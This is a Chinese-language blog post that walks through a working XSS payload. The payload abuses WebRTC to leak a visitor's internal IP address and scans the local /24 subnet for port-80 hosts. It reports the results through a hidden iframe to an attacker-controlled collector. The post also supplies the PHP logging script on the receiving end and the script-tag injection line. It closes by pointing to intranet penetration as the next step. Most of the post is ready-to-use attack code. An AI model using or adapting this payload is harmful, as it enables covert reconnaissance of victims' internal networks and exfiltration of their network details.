Fork me on GitHub

xss实现获取内网ip

前提得浏览器支持webRTC,测试的时候google浏览器测试成功,火狐浏览器不支持webRTC,

再在xss平台直接复制如下js代码:

 1 function form_ip(ip,port){ 
 2     var iframe = document.createElement("iframe");                //通过iframe将可访问的内网ip传给服务器。
 3     iframe.setAttribute("src","http://192.168.155.2/rev.php?ip=" + ip + "&port=" + port);//这里是服务器的ip
 4     iframe.setAttribute("style","display:none")
 5     var TagName = document.getElementsByTagName("body")[0];
 6     TagName.appendChild(iframe);
 7 }
 8 function getIPs(callback){
 9     var ip_dups = {};
10     var RTCPeerConnection = window.RTCPeerConnection
11         || window.mozRTCPeerConnection
12         || window.webkitRTCPeerConnection;
13     var mediaConstraints = {
14         optional: [{RtpDataChannels: true}]
15     };
16     var servers = undefined;
17     if(window.webkitRTCPeerConnection)
18         servers = {iceServers: []};
19     var pc = new RTCPeerConnection(servers, mediaConstraints);
20     pc.onicecandidate = function(ice){
21         if(ice.candidate){
22             var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
23             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
24             if(ip_dups[ip_addr] === undefined)
25                 callback(ip_addr);
26             ip_dups[ip_addr] = true;
27         }
28     };
29     pc.createDataChannel("");
30     pc.createOffer(function(result){
31         pc.setLocalDescription(result, function(){});
32 
33     }, function(){});
34 }//通过weprtc获取内网ip
35 getIPs(function(ip){ 
36     ip = ip.split(".");
37     ip.pop();
38     ip = ip.join(".");
39     for(var i = 1;i<=255;i++){
40         var script = document.createElement("script");
41         var ip_url = ip + "." + i + ":80";
42         script.setAttribute("src","http://" + ip_url);
43         script.setAttribute("onload","form_ip('" + ip + "." + i + "','80')");//通过遍历,如果内网的ip有80端口服务,执行form_ip函数
44         var TagName = document.getElementsByTagName("body")[0];
45         TagName.appendChild(script);
46     }
47 });
我们可以在有xss注入的地方插入:<script src="http://xss平台的地址"></script>
在谷歌浏览器看控制台信息,已经将内网ip发送给服务器了。

 


http://192.168.155.2这里是我服务器的ip.
服务器接受的代码是:
1 <?php
2 $ip=$_REQUEST['ip'];
3 $port=$_REQUEST['port'];
4 $myfile=fopen("ip.txt","a");
5 fwrite($myfile,$ip.':'.$port.'   ');
6 fclose($myfile);
7 ?>

下面是服务器接受到的ip:

 接下来就是可以内网渗透了。



posted @ 2018-01-21 19:58  Afant1  阅读(1471)  评论(0编辑  收藏  举报